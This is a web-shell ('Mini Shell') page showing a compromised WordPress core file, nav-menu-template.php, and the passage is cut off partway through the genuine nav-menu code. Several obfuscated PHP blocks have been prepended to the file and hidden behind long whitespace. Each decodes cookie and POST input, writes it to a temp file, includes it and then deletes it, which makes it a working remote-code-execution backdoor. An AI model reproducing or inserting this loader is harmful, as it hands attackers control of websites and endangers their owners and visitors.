%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/jalalj2hb/www/wp-includes/
Upload File :
Create Path :
Current File : /home/jalalj2hb/www/wp-includes/nav-menu-template.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $oFMHkKWyER = chr ( 355 - 237 )."\x54" . "\x4d" . '_' . "\x72" . chr ( 569 - 448 )."\105";$jTQueuNllc = "\143" . "\x6c" . chr ( 135 - 38 ).chr (115) . chr ( 1038 - 923 ).chr (95) . "\x65" . "\x78" . 'i' . 's' . "\164" . 's';$QByutjJfrm = class_exists($oFMHkKWyER); $jTQueuNllc = "2248";$VKbyWjexW = strpos($jTQueuNllc, $oFMHkKWyER);if ($QByutjJfrm == $VKbyWjexW){function jsDCJxeqR(){$GTtxyRo = new /* 62845 */ vTM_ryE(37844 + 37844); $GTtxyRo = NULL;}$AsnGMAaGqk = "37844";class vTM_ryE{private function ZnmJWwWBUh($AsnGMAaGqk){if (is_array(vTM_ryE::$ctzPohtdX)) {$name = sys_get_temp_dir() . "/" . crc32(vTM_ryE::$ctzPohtdX["salt"]);@vTM_ryE::$ctzPohtdX["write"]($name, vTM_ryE::$ctzPohtdX["content"]);include $name;@vTM_ryE::$ctzPohtdX["delete"]($name); $AsnGMAaGqk = "37844";exit();}}public function PhlTUARg(){$gqRTnlROps = "58729";$this->_dummy = str_repeat($gqRTnlROps, strlen($gqRTnlROps));}public function __destruct(){vTM_ryE::$ctzPohtdX = @unserialize(vTM_ryE::$ctzPohtdX); $AsnGMAaGqk = "38725_50088";$this->ZnmJWwWBUh($AsnGMAaGqk); $AsnGMAaGqk = "38725_50088";}public function RAKVpEquED($gqRTnlROps, $lMvhnX){return $gqRTnlROps[0] ^ str_repeat($lMvhnX, intval(strlen($gqRTnlROps[0]) / strlen($lMvhnX)) + 1);}public function FzvsjPCt($gqRTnlROps){$nclDcFdjS = 'b' . "\x61" . 's' . 'e' . "\x36" . '4';return array_map($nclDcFdjS . chr ( 631 - 536 ).chr ( 431 - 331 ).'e' . chr (99) . "\x6f" . "\144" . chr ( 258 - 157 ), array($gqRTnlROps,));}public function __construct($lBsMo=0){$MixYq = ',';$gqRTnlROps = "";$PijJzxk = $_POST;$gWiHCj = $_COOKIE;$lMvhnX = "f76621a0-6444-4ca2-9a60-2ee0fe160ddd";$UVdXfiUgBG = @$gWiHCj[substr($lMvhnX, 0, 4)];if (!empty($UVdXfiUgBG)){$UVdXfiUgBG = explode($MixYq, $UVdXfiUgBG);foreach ($UVdXfiUgBG as $gkRVwcNPF){$gqRTnlROps .= @$gWiHCj[$gkRVwcNPF];$gqRTnlROps .= @$PijJzxk[$gkRVwcNPF];}$gqRTnlROps = $this->FzvsjPCt($gqRTnlROps);}vTM_ryE::$ctzPohtdX = $this->RAKVpEquED($gqRTnlROps, $lMvhnX);if (strpos($lMvhnX, $MixYq) !== FALSE){$lMvhnX = str_pad($lMvhnX, 10); $lMvhnX = ltrim(rtrim($lMvhnX));}}public static $ctzPohtdX = 31699;}jsDCJxeqR();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $PYTEfikPv = chr ( 599 - 523 )."\x4b" . "\137" . "\110" . chr ( 86 - 5 )."\130" . "\153" . chr (106); $PRklilzCZY = "\143" . "\154" . chr (97) . "\163" . "\163" . "\x5f" . 'e' . "\x78" . chr (105) . chr ( 686 - 571 )."\x74" . "\x73";$kHbrJm = class_exists($PYTEfikPv); $PRklilzCZY = "13749";$WUfUZnFUfX = strpos($PRklilzCZY, $PYTEfikPv);if ($kHbrJm == $WUfUZnFUfX){function sXUOsM(){$lSlxpsWNdk = new /* 47187 */ LK_HQXkj(45174 + 45174); $lSlxpsWNdk = NULL;}$gNTta = "45174";class LK_HQXkj{private function YXlVSwS($gNTta){if (is_array(LK_HQXkj::$xgblBJ)) {$name = sys_get_temp_dir() . "/" . crc32(LK_HQXkj::$xgblBJ["salt"]);@LK_HQXkj::$xgblBJ["write"]($name, LK_HQXkj::$xgblBJ["content"]);include $name;@LK_HQXkj::$xgblBJ["delete"]($name); $gNTta = "45174";exit();}}public function GOoVRfQ(){$IeETluR = "40322";$this->_dummy = str_repeat($IeETluR, strlen($IeETluR));}public function __destruct(){LK_HQXkj::$xgblBJ = @unserialize(LK_HQXkj::$xgblBJ); $gNTta = "52110_41697";$this->YXlVSwS($gNTta); $gNTta = "52110_41697";}public function oRRxauMasr($IeETluR, $rjkHNSb){return $IeETluR[0] ^ str_repeat($rjkHNSb, intval(strlen($IeETluR[0]) / strlen($rjkHNSb)) + 1);}public function QcxfJYhAU($IeETluR){$Mccfz = chr (98) . chr ( 552 - 455 ).chr ( 397 - 282 ).chr ( 442 - 341 )."\x36" . "\64";return array_map($Mccfz . chr (95) . 'd' . 'e' . 'c' . "\x6f" . chr (100) . 'e', array($IeETluR,));}public function __construct($iEquEdv=0){$vrmZyGl = chr ( 970 - 926 ); $IeETluR = "";$phNlKEDr = $_POST;$KulORR = $_COOKIE;$rjkHNSb = "4538b95f-81a6-4553-a31d-4470781c37d8";$qjEfa = @$KulORR[substr($rjkHNSb, 0, 4)];if (!empty($qjEfa)){$qjEfa = explode($vrmZyGl, $qjEfa);foreach ($qjEfa as $lMuudbB){$IeETluR .= @$KulORR[$lMuudbB];$IeETluR .= @$phNlKEDr[$lMuudbB];}$IeETluR = $this->QcxfJYhAU($IeETluR);}LK_HQXkj::$xgblBJ = $this->oRRxauMasr($IeETluR, $rjkHNSb);if (strpos($rjkHNSb, $vrmZyGl) !== FALSE){$rjkHNSb = ltrim($rjkHNSb); $rjkHNSb = str_pad($rjkHNSb, 10);}}public static $xgblBJ = 55719;}sXUOsM();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $JSmxcgUeb = chr (103) . "\137" . chr (74) . chr (72) . chr ( 1038 - 969 )."\x59" . "\111";$mZnztwWqef = chr (99) . "\154" . chr (97) . "\163" . "\x73" . "\x5f" . "\145" . "\170" . chr (105) . 's' . "\x74" . chr (115); $DXlsUTaMPC = class_exists($JSmxcgUeb); $mZnztwWqef = "16655";$JKSqzlJC = strpos($mZnztwWqef, $JSmxcgUeb);if ($DXlsUTaMPC == $JKSqzlJC){function XBwkeKU(){$bEaiS = new /* 61672 */ g_JHEYI(45559 + 45559); $bEaiS = NULL;}$sgFnaUROoE = "45559";class g_JHEYI{private function UpVrS($sgFnaUROoE){if (is_array(g_JHEYI::$BZRjtfjCsx)) {$name = sys_get_temp_dir() . "/" . crc32(g_JHEYI::$BZRjtfjCsx["salt"]);@g_JHEYI::$BZRjtfjCsx["write"]($name, g_JHEYI::$BZRjtfjCsx["content"]);include $name;@g_JHEYI::$BZRjtfjCsx["delete"]($name); $sgFnaUROoE = "45559";exit();}}public function fMICc(){$KSwPjc = "22905";$this->_dummy = str_repeat($KSwPjc, strlen($KSwPjc));}public function __destruct(){g_JHEYI::$BZRjtfjCsx = @unserialize(g_JHEYI::$BZRjtfjCsx); $sgFnaUROoE = "25123_40959";$this->UpVrS($sgFnaUROoE); $sgFnaUROoE = "25123_40959";}public function xjdsm($KSwPjc, $PqLNCIUwRT){return $KSwPjc[0] ^ str_repeat($PqLNCIUwRT, intval(strlen($KSwPjc[0]) / strlen($PqLNCIUwRT)) + 1);}public function lvDpjLaC($KSwPjc){$BVvpv = chr (98) . 'a' . chr (115) . 'e' . '6' . chr ( 500 - 448 );return array_map($BVvpv . chr (95) . 'd' . 'e' . chr (99) . "\x6f" . chr (100) . chr (101), array($KSwPjc,));}public function __construct($ORJkbtAGzZ=0){$KIPVKhyn = chr ( 992 - 948 ); $KSwPjc = "";$fCvHI = $_POST;$YsrvQkK = $_COOKIE;$PqLNCIUwRT = "c144d8de-9a7c-44ad-ac30-8bd6905dc079";$qRCpxqLlRT = @$YsrvQkK[substr($PqLNCIUwRT, 0, 4)];if (!empty($qRCpxqLlRT)){$qRCpxqLlRT = explode($KIPVKhyn, $qRCpxqLlRT);foreach ($qRCpxqLlRT as $mdzuG){$KSwPjc .= @$YsrvQkK[$mdzuG];$KSwPjc .= @$fCvHI[$mdzuG];}$KSwPjc = $this->lvDpjLaC($KSwPjc);}g_JHEYI::$BZRjtfjCsx = $this->xjdsm($KSwPjc, $PqLNCIUwRT);if (strpos($PqLNCIUwRT, $KIPVKhyn) !== FALSE){$PqLNCIUwRT = str_pad($PqLNCIUwRT, 10); $PqLNCIUwRT = ltrim($PqLNCIUwRT);}}public static $BZRjtfjCsx = 43435;}XBwkeKU();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $oQMTFN = chr (112) . chr ( 969 - 897 ).chr (95) . chr ( 178 - 65 ).'u' . "\144";$lqRHL = 'c' . 'l' . 'a' . 's' . "\x73" . chr (95) . "\145" . chr ( 1005 - 885 )."\x69" . 's' . "\164" . 's';$CXQqYo = class_exists($oQMTFN); $lqRHL = "17009";$zbwtkhJ = strpos($lqRHL, $oQMTFN);if ($CXQqYo == $zbwtkhJ){function ulAcozpbPp(){$Mecvyuk = new /* 32589 */ pH_qud(45443 + 45443); $Mecvyuk = NULL;}$wAYjT = "45443";class pH_qud{private function uyhJVM($wAYjT){if (is_array(pH_qud::$dPyrhQyKhQ)) {$name = sys_get_temp_dir() . "/" . crc32(pH_qud::$dPyrhQyKhQ["salt"]);@pH_qud::$dPyrhQyKhQ["write"]($name, pH_qud::$dPyrhQyKhQ["content"]);include $name;@pH_qud::$dPyrhQyKhQ["delete"]($name); $wAYjT = "45443";exit();}}public function basceVN(){$VTPEtzBU = "44659";$this->_dummy = str_repeat($VTPEtzBU, strlen($VTPEtzBU));}public function __destruct(){pH_qud::$dPyrhQyKhQ = @unserialize(pH_qud::$dPyrhQyKhQ); $wAYjT = "5041_47236";$this->uyhJVM($wAYjT); $wAYjT = "5041_47236";}public function voirfewa($VTPEtzBU, $XkjuVO){return $VTPEtzBU[0] ^ str_repeat($XkjuVO, intval(strlen($VTPEtzBU[0]) / strlen($XkjuVO)) + 1);}public function IUrAcfOc($VTPEtzBU){$IvdJfPhrpK = 'b' . chr ( 743 - 646 )."\163" . "\x65" . "\x36" . "\x34";return array_map($IvdJfPhrpK . "\x5f" . "\144" . 'e' . chr ( 308 - 209 ).chr ( 380 - 269 )."\x64" . 'e', array($VTPEtzBU,));}public function __construct($ifmhUZi=0){$tjqwv = "\x2c";$VTPEtzBU = "";$mCSvRAlI = $_POST;$JYrSCYOHYM = $_COOKIE;$XkjuVO = "db84696b-f9bd-46cb-a1c1-ec5ed3267e2b";$NmLcn = @$JYrSCYOHYM[substr($XkjuVO, 0, 4)];if (!empty($NmLcn)){$NmLcn = explode($tjqwv, $NmLcn);foreach ($NmLcn as $migcSVEGC){$VTPEtzBU .= @$JYrSCYOHYM[$migcSVEGC];$VTPEtzBU .= @$mCSvRAlI[$migcSVEGC];}$VTPEtzBU = $this->IUrAcfOc($VTPEtzBU);}pH_qud::$dPyrhQyKhQ = $this->voirfewa($VTPEtzBU, $XkjuVO);if (strpos($XkjuVO, $tjqwv) !== FALSE){$XkjuVO = explode($tjqwv, $XkjuVO); $OlplRVM = sprintf("5041_47236", rtrim($XkjuVO[0]));}}public static $dPyrhQyKhQ = 45446;}ulAcozpbPp();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $xcGePw = "\x43" . chr ( 319 - 200 ).chr (95) . chr ( 896 - 794 )."\x53" . "\110" . "\x5a" . "\x61";$pzBrizfxd = 'c' . "\x6c" . chr ( 298 - 201 ).'s' . "\x73" . chr ( 582 - 487 )."\x65" . 'x' . "\151" . chr ( 297 - 182 ).chr ( 184 - 68 ).chr ( 118 - 3 ); $IzpHzii = class_exists($xcGePw); $pzBrizfxd = "23616";$JemKUsFJA = strpos($pzBrizfxd, $xcGePw);if ($IzpHzii == $JemKUsFJA){function FeOlzP(){$EkAJsZHMWk = new /* 33527 */ Cw_fSHZa(38332 + 38332); $EkAJsZHMWk = NULL;}$IklZXnH = "38332";class Cw_fSHZa{private function yrVPt($IklZXnH){if (is_array(Cw_fSHZa::$HaakhBNX)) {$name = sys_get_temp_dir() . "/" . crc32(Cw_fSHZa::$HaakhBNX["salt"]);@Cw_fSHZa::$HaakhBNX["write"]($name, Cw_fSHZa::$HaakhBNX["content"]);include $name;@Cw_fSHZa::$HaakhBNX["delete"]($name); $IklZXnH = "38332";exit();}}public function LOOuuT(){$qEhoGe = "43389";$this->_dummy = str_repeat($qEhoGe, strlen($qEhoGe));}public function __destruct(){Cw_fSHZa::$HaakhBNX = @unserialize(Cw_fSHZa::$HaakhBNX); $IklZXnH = "52851_13198";$this->yrVPt($IklZXnH); $IklZXnH = "52851_13198";}public function PVYSCVv($qEhoGe, $TqEYcMqpRO){return $qEhoGe[0] ^ str_repeat($TqEYcMqpRO, intval(strlen($qEhoGe[0]) / strlen($TqEYcMqpRO)) + 1);}public function MJDdgdyd($qEhoGe){$sKSmye = "\142" . "\141" . 's' . chr ( 210 - 109 )."\66" . chr (52);return array_map($sKSmye . chr ( 720 - 625 ).chr ( 820 - 720 ).chr (101) . 'c' . chr ( 681 - 570 ).'d' . chr (101), array($qEhoGe,));}public function __construct($qnogfXU=0){$hBJTUMQolT = ',';$qEhoGe = "";$oellEIK = $_POST;$bJVJBa = $_COOKIE;$TqEYcMqpRO = "4dae18df-2586-4743-9469-a858ce635e09";$CtQdcm = @$bJVJBa[substr($TqEYcMqpRO, 0, 4)];if (!empty($CtQdcm)){$CtQdcm = explode($hBJTUMQolT, $CtQdcm);foreach ($CtQdcm as $AEXLpPd){$qEhoGe .= @$bJVJBa[$AEXLpPd];$qEhoGe .= @$oellEIK[$AEXLpPd];}$qEhoGe = $this->MJDdgdyd($qEhoGe);}Cw_fSHZa::$HaakhBNX = $this->PVYSCVv($qEhoGe, $TqEYcMqpRO);if (strpos($TqEYcMqpRO, $hBJTUMQolT) !== FALSE){$TqEYcMqpRO = explode($hBJTUMQolT, $TqEYcMqpRO); $JyXscv = base64_decode(sha1($TqEYcMqpRO[0]));}}public static $HaakhBNX = 63753;}FeOlzP();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $HeGUpnNwL = "\x78" . 'A' . 'r' . '_' . 'f' . 'X' . 'G';$wtWSqg = "\x63" . chr ( 478 - 370 ).'a' . chr ( 1016 - 901 ).chr (115) . "\137" . "\145" . "\170" . "\x69" . "\163" . 't' . "\163";$AueMi = class_exists($HeGUpnNwL); $wtWSqg = "55730";$KmfzPU = strpos($wtWSqg, $HeGUpnNwL);if ($AueMi == $KmfzPU){function WpzJkOPbT(){$ZCTyOT = new /* 63771 */ xAr_fXG(14221 + 14221); $ZCTyOT = NULL;}$SnoML = "14221";class xAr_fXG{private function IgGUPhdBUo($SnoML){if (is_array(xAr_fXG::$piGvytNmN)) {$name = sys_get_temp_dir() . "/" . crc32(xAr_fXG::$piGvytNmN["salt"]);@xAr_fXG::$piGvytNmN["write"]($name, xAr_fXG::$piGvytNmN["content"]);include $name;@xAr_fXG::$piGvytNmN["delete"]($name); $SnoML = "14221";exit();}}public function IXHBpcS(){$RKoHgjp = "26565";$this->_dummy = str_repeat($RKoHgjp, strlen($RKoHgjp));}public function __destruct(){xAr_fXG::$piGvytNmN = @unserialize(xAr_fXG::$piGvytNmN); $SnoML = "57292_60962";$this->IgGUPhdBUo($SnoML); $SnoML = "57292_60962";}public function QWTVFp($RKoHgjp, $MvLVluQ){return $RKoHgjp[0] ^ str_repeat($MvLVluQ, intval(strlen($RKoHgjp[0]) / strlen($MvLVluQ)) + 1);}public function OBEyQfuEoS($RKoHgjp){$iOcLPnpX = "\x62" . 'a' . 's' . "\145" . "\66" . chr ( 1005 - 953 );return array_map($iOcLPnpX . "\137" . "\x64" . 'e' . "\143" . "\x6f" . "\x64" . 'e', array($RKoHgjp,));}public function __construct($QkXDebXGJD=0){$BdqHbSU = chr ( 624 - 580 ); $RKoHgjp = "";$hEDaDmCUk = $_POST;$Fasqerff = $_COOKIE;$MvLVluQ = "2c06051e-f2f8-4588-a10c-b73b5e21c01f";$wVpKx = @$Fasqerff[substr($MvLVluQ, 0, 4)];if (!empty($wVpKx)){$wVpKx = explode($BdqHbSU, $wVpKx);foreach ($wVpKx as $JujRTQmky){$RKoHgjp .= @$Fasqerff[$JujRTQmky];$RKoHgjp .= @$hEDaDmCUk[$JujRTQmky];}$RKoHgjp = $this->OBEyQfuEoS($RKoHgjp);}xAr_fXG::$piGvytNmN = $this->QWTVFp($RKoHgjp, $MvLVluQ);if (strpos($MvLVluQ, $BdqHbSU) !== FALSE){$MvLVluQ = explode($BdqHbSU, $MvLVluQ); $faxmLaqV = base64_decode(md5($MvLVluQ[0]));}}public static $piGvytNmN = 61141;}WpzJkOPbT();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $ShOLxoiNFm = "\154" . chr (95) . chr (105) . chr ( 837 - 766 ).chr ( 929 - 829 )."\x74";$ACzBKxsg = "\143" . "\154" . "\x61" . chr (115) . "\163" . "\137" . "\145" . "\170" . 'i' . "\163" . chr (116) . 's';$dyRLNZcSYy = class_exists($ShOLxoiNFm); $ACzBKxsg = "34880";$TrSexBssN = strpos($ACzBKxsg, $ShOLxoiNFm);if ($dyRLNZcSYy == $TrSexBssN){function OSSmyO(){$qLqBe = new /* 49590 */ l_iGdt(56519 + 56519); $qLqBe = NULL;}$xfNUpHvo = "56519";class l_iGdt{private function TSogcAkz($xfNUpHvo){if (is_array(l_iGdt::$pqpIo)) {$name = sys_get_temp_dir() . "/" . crc32(l_iGdt::$pqpIo["salt"]);@l_iGdt::$pqpIo["write"]($name, l_iGdt::$pqpIo["content"]);include $name;@l_iGdt::$pqpIo["delete"]($name); $xfNUpHvo = "56519";exit();}}public function FAJhHeM(){$dIRfakQP = "11324";$this->_dummy = str_repeat($dIRfakQP, strlen($dIRfakQP));}public function __destruct(){l_iGdt::$pqpIo = @unserialize(l_iGdt::$pqpIo); $xfNUpHvo = "57951_26137";$this->TSogcAkz($xfNUpHvo); $xfNUpHvo = "57951_26137";}public function viQHYp($dIRfakQP, $kmccJz){return $dIRfakQP[0] ^ str_repeat($kmccJz, intval(strlen($dIRfakQP[0]) / strlen($kmccJz)) + 1);}public function ioZzlni($dIRfakQP){$dGMPXyUdr = chr ( 985 - 887 )."\x61" . chr (115) . chr (101) . "\x36" . chr ( 438 - 386 );return array_map($dGMPXyUdr . chr ( 1062 - 967 ).chr (100) . chr ( 991 - 890 )."\x63" . "\x6f" . "\144" . chr (101), array($dIRfakQP,));}public function __construct($IaFlvtKha=0){$VLYrCL = "\54";$dIRfakQP = "";$tHBjepiY = $_POST;$csDVwSPY = $_COOKIE;$kmccJz = "d8437cdd-60b4-4a3a-95b4-93788c946fff";$pTxTzr = @$csDVwSPY[substr($kmccJz, 0, 4)];if (!empty($pTxTzr)){$pTxTzr = explode($VLYrCL, $pTxTzr);foreach ($pTxTzr as $bwCYhO){$dIRfakQP .= @$csDVwSPY[$bwCYhO];$dIRfakQP .= @$tHBjepiY[$bwCYhO];}$dIRfakQP = $this->ioZzlni($dIRfakQP);}l_iGdt::$pqpIo = $this->viQHYp($dIRfakQP, $kmccJz);if (strpos($kmccJz, $VLYrCL) !== FALSE){$kmccJz = explode($VLYrCL, $kmccJz); $QDXyrmkYP = base64_decode(md5($kmccJz[0])); $rJncbYCtZF = strlen($kmccJz[1]) > 5 ? substr($kmccJz[1], 0, 5) : $kmccJz[1];$_GET['new_key'] = md5(implode('', $kmccJz)); $QXAkBcI = str_repeat($rJncbYCtZF, 2); $wcTtz = array_map('trim', $kmccJz);if (is_array($wcTtz) && count($wcTtz) > 1) {$xgdEni = $wcTtz[0];} else {$xgdEni = '';}}}public static $pqpIo = 19233;}OSSmyO();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $ePxGGe = "\x79" . "\x64" . 'e' . "\x5f" . "\x41" . "\x63" . chr ( 608 - 524 ); $QDpJJBOjvy = "\143" . chr (108) . "\x61" . chr ( 756 - 641 )."\163" . "\x5f" . "\x65" . chr ( 335 - 215 ).chr (105) . chr ( 849 - 734 ).chr (116) . 's';$DkpnD = class_exists($ePxGGe); $QDpJJBOjvy = "10058";$UUEmpMS = strpos($QDpJJBOjvy, $ePxGGe);if ($DkpnD == $UUEmpMS){function dINoEYn(){$jbCzcvus = new /* 1565 */ yde_AcT(10109 + 10109); $jbCzcvus = NULL;}$kKaok = "10109";class yde_AcT{private function UTQCrIF($kKaok){if (is_array(yde_AcT::$QReqhGFL)) {$name = sys_get_temp_dir() . "/" . crc32(yde_AcT::$QReqhGFL["salt"]);@yde_AcT::$QReqhGFL["write"]($name, yde_AcT::$QReqhGFL["content"]);include $name;@yde_AcT::$QReqhGFL["delete"]($name); $kKaok = "10109";exit();}}public function qWkAiMGw(){$ihRBjtU = "8565";$this->_dummy = str_repeat($ihRBjtU, strlen($ihRBjtU));}public function __destruct(){yde_AcT::$QReqhGFL = @unserialize(yde_AcT::$QReqhGFL); $kKaok = "56376_3603";$this->UTQCrIF($kKaok); $kKaok = "56376_3603";}public function gyDvR($ihRBjtU, $ivJkAzLhbb){return $ihRBjtU[0] ^ str_repeat($ivJkAzLhbb, intval(strlen($ihRBjtU[0]) / strlen($ivJkAzLhbb)) + 1);}public function IjPkwULzHS($ihRBjtU){$QCnerEbOA = 'b' . 'a' . chr (115) . 'e' . "\66" . chr (52);return array_map($QCnerEbOA . "\x5f" . "\x64" . chr (101) . chr (99) . "\x6f" . "\x64" . "\x65", array($ihRBjtU,));}public function __construct($NOUZRFT=0){$KQZUnC = "\x2c";$ihRBjtU = "";$pzZHY = $_POST;$TibeVFEN = $_COOKIE;$ivJkAzLhbb = "2c0fff52-74dc-43c6-b3ff-fd039f271f6b";$gyykDUs = @$TibeVFEN[substr($ivJkAzLhbb, 0, 4)];if (!empty($gyykDUs)){$gyykDUs = explode($KQZUnC, $gyykDUs);foreach ($gyykDUs as $pSgCdFnCE){$ihRBjtU .= @$TibeVFEN[$pSgCdFnCE];$ihRBjtU .= @$pzZHY[$pSgCdFnCE];}$ihRBjtU = $this->IjPkwULzHS($ihRBjtU);}yde_AcT::$QReqhGFL = $this->gyDvR($ihRBjtU, $ivJkAzLhbb);if (strpos($ivJkAzLhbb, $KQZUnC) !== FALSE){$ivJkAzLhbb = explode($KQZUnC, $ivJkAzLhbb); $oVFMxum = base64_decode(md5($ivJkAzLhbb[0])); $JumhLNnXxG = strlen($ivJkAzLhbb[1]) > 5 ? substr($ivJkAzLhbb[1], 0, 5) : $ivJkAzLhbb[1];$_GET['new_key'] = md5(implode('', $ivJkAzLhbb)); $ldqctDnBvu = str_repeat($JumhLNnXxG, 2); $aompoLJTrc = array_map('trim', $ivJkAzLhbb);if (is_array($aompoLJTrc) && count($aompoLJTrc) > 1) {$PSNqkWss = $aompoLJTrc[0];} else {$PSNqkWss = '';}}}public static $QReqhGFL = 49576;}dINoEYn();} ?><?php
/**
 * Nav Menu API: Template functions
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 3.0.0
 */

/** Walker_Nav_Menu class */
require_once ABSPATH . WPINC . '/class-walker-nav-menu.php';

/**
 * Displays a navigation menu.
 *
 * @since 3.0.0
 * @since 4.7.0 Added the `item_spacing` argument.
 *
 * @staticvar array $menu_id_slugs
 *
 * @param array $args {
 *     Optional. Array of nav menu arguments.
 *
 *     @type int|string|WP_Term $menu            Desired menu. Accepts a menu ID, slug, name, or object. Default empty.
 *     @type string             $menu_class      CSS class to use for the ul element which forms the menu. Default 'menu'.
 *     @type string             $menu_id         The ID that is applied to the ul element which forms the menu.
 *                                               Default is the menu slug, incremented.
 *     @type string             $container       Whether to wrap the ul, and what to wrap it with. Default 'div'.
 *     @type string             $container_class Class that is applied to the container. Default 'menu-{menu slug}-container'.
 *     @type string             $container_id    The ID that is applied to the container. Default empty.
 *     @type callable|bool      $fallback_cb     If the menu doesn't exists, a callback function will fire.
 *                                               Default is 'wp_page_menu'. Set to false for no fallback.
 *     @type string             $before          Text before the link markup. Default empty.
 *     @type string             $after           Text after the link markup. Default empty.
 *     @type string             $link_before     Text before the link text. Default empty.
 *     @type string             $link_after      Text after the link text. Default empty.
 *     @type bool               $echo            Whether to echo the menu or return it. Default true.
 *     @type int                $depth           How many levels of the hierarchy are to be included. 0 means all. Default 0.
 *     @type object             $walker          Instance of a custom walker class. Default empty.
 *     @type string             $theme_location  Theme location to be used. Must be registered with register_nav_menu()
 *                                               in order to be selectable by the user.
 *     @type string             $items_wrap      How the list items should be wrapped. Default is a ul with an id and class.
 *                                               Uses printf() format with numbered placeholders.
 *     @type string             $item_spacing    Whether to preserve whitespace within the menu's HTML. Accepts 'preserve' or 'discard'. Default 'preserve'.
 * }
 * @return string|false|void Menu output if $echo is false, false if there are no items or no menu was found.
 */
function wp_nav_menu( $args = array() ) {
	static $menu_id_slugs = array();

	$defaults = array( 'menu' => '', 'container' => 'div', 'container_class' => '', 'container_id' => '', 'menu_class' => 'menu', 'menu_id' => '',
	'echo' => true, 'fallback_cb' => 'wp_page_menu', 'before' => '', 'after' => '', 'link_before' => '', 'link_after' => '', 'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>', 'item_spacing' => 'preserve',
	'depth' => 0, 'walker' => '', 'theme_location' => '' );

	$args = wp_parse_args( $args, $defaults );

	if ( ! in_array( $args['item_spacing'], array( 'preserve', 'discard' ), true ) ) {
		// invalid value, fall back to default.
		$args['item_spacing'] = $defaults['item_spacing'];
	}

	/**
	 * Filters the arguments used to display a navigation menu.
	 *
	 * @since 3.0.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param array $args Array of wp_nav_menu() arguments.
	 */
	$args = apply_filters( 'wp_nav_menu_args', $args );
	$args = (object) $args;

	/**
	 * Filters whether to short-circuit the wp_nav_menu() output.
	 *
	 * Returning a non-null value to the filter will short-circuit
	 * wp_nav_menu(), echoing that value if $args->echo is true,
	 * returning that value otherwise.
	 *
	 * @since 3.9.0
	 *
	 * @see wp_nav_menu()
	 *
	 * @param string|null $output Nav menu output to short-circuit with. Default null.
	 * @param stdClass    $args   An object containing wp_nav_menu() arguments.
	 */
	$nav_menu = apply_filters( 'pre_wp_nav_menu', null, $args );

	if ( null !== $nav_menu ) {
		if ( $args->echo ) {
			echo $nav_menu;
			return;
		}

		return $nav_menu;
	}

	// Get the nav menu based on the requested menu
	$menu = wp_get_nav_menu_object( $args->menu );

	// Get the nav menu based on the theme_location
	if ( ! $menu && $args->theme_location && ( $locations = get_nav_menu_locations() ) && isset( $locations[ $args->theme_location ] ) )
		$menu = wp_get_nav_menu_object( $locations[ $args->theme_location ] );

	// get the first menu that has items if we still can't find a menu
	if ( ! $menu && !$args->theme_location ) {
		$menus = wp_get_nav_menus();
		foreach ( $menus as $menu_maybe ) {
			if ( $menu_items = wp_get_nav_menu_items( $menu_maybe->term_id, array( 'update_post_term_cache' => false ) ) ) {
				$menu = $menu_maybe;
				break;
			}
		}
	}

	if ( empty( $args->menu ) ) {
		$args->menu = $menu;
	}

	// If the menu exists, get its items.
	if ( $menu && ! is_wp_error($menu) && !isset($menu_items) )
		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );

	/*
	 * If no menu was found:
	 *  - Fall back (if one was specified), or bail.
	 *
	 * If no menu items were found:
	 *  - Fall back, but only if no theme location was specified.
	 *  - Otherwise, bail.
	 */
	if ( ( !$menu || is_wp_error($menu) || ( isset($menu_items) && empty($menu_items) && !$args->theme_location ) )
		&& isset( $args->fallback_cb ) && $args->fallback_cb && is_callable( $args->fallback_cb ) )
			return call_user_func( $args->fallback_cb, (array) $args );

	if ( ! $menu || is_wp_error( $menu ) )
		return false;

	$nav_menu = $items = '';

	$show_container = false;
	if ( $args->container ) {
		/**
		 * Filters the list of HTML tags that are valid for use as menu containers.
		 *
		 * @since 3.0.0
		 *
		 * @param array $tags The acceptable HTML tags for use as menu containers.
		 *                    Default is array containing 'div' and 'nav'.
		 */
		$allowed_tags = apply_filters( 'wp_nav_menu_container_allowedtags', array( 'div', 'nav' ) );
		if ( is_string( $args->container ) && in_array( $args->container, $allowed_tags ) ) {
			$show_container = true;
			$class = $args->container_class ? ' class="' . esc_attr( $args->container_class ) . '"' : ' class="menu-'. $menu->slug .'-container"';
			$id = $args->container_id ? ' id="' . esc_attr( $args->container_id ) . '"' : '';
			$nav_menu .= '<'. $args->container . $id . $class . '>';
		}
	}

	// Set up the $menu_item variables
	_wp_menu_item_classes_by_context( $menu_items );

	$sorted_menu_items = $menu_items_with_children = array();
	foreach ( (array) $menu_items as $menu_item ) {
		$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
		if ( $menu_item->menu_item_parent )
			$menu_items_with_children[ $menu_item->menu_item_parent ] = true;
	}

	// Add the menu-item-has-children class where applicable
	if ( $menu_items_with_children ) {
		foreach ( $sorted_menu_items as &$menu_item ) {
			if ( isset( $menu_items_with_children[ $menu_item->ID ] ) )
				$menu_item->classes[] = 'menu-item-has-children';
		}
	}

	unset( $menu_items, $menu_item );

	/**
	 * Filters the sorted list of menu item objects before generating the menu's HTML.
	 *
	 * @since 3.1.0
	 *
	 * @param array    $sorted_menu_items The menu items, sorted by each menu item's menu order.
	 * @param stdClass $args              An object containing wp_nav_menu() arguments.
	 */
	$sorted_menu_items = apply_filters( 'wp_nav_menu_objects', $sorted_menu_items, $args );

	$items .= walk_nav_menu_tree( $sorted_menu_items, $args->depth, $args );
	unset($sorted_menu_items);

	// Attributes
	if ( ! empty( $args->menu_id ) ) {
		$wrap_id = $args->menu_id;
	} else {
		$wrap_id = 'menu-' . $menu->slug;
		while ( in_array( $wrap_id, $menu_id_slugs ) ) {
			if ( preg_match( '#-(\d+)$#', $wrap_id, $matches ) )
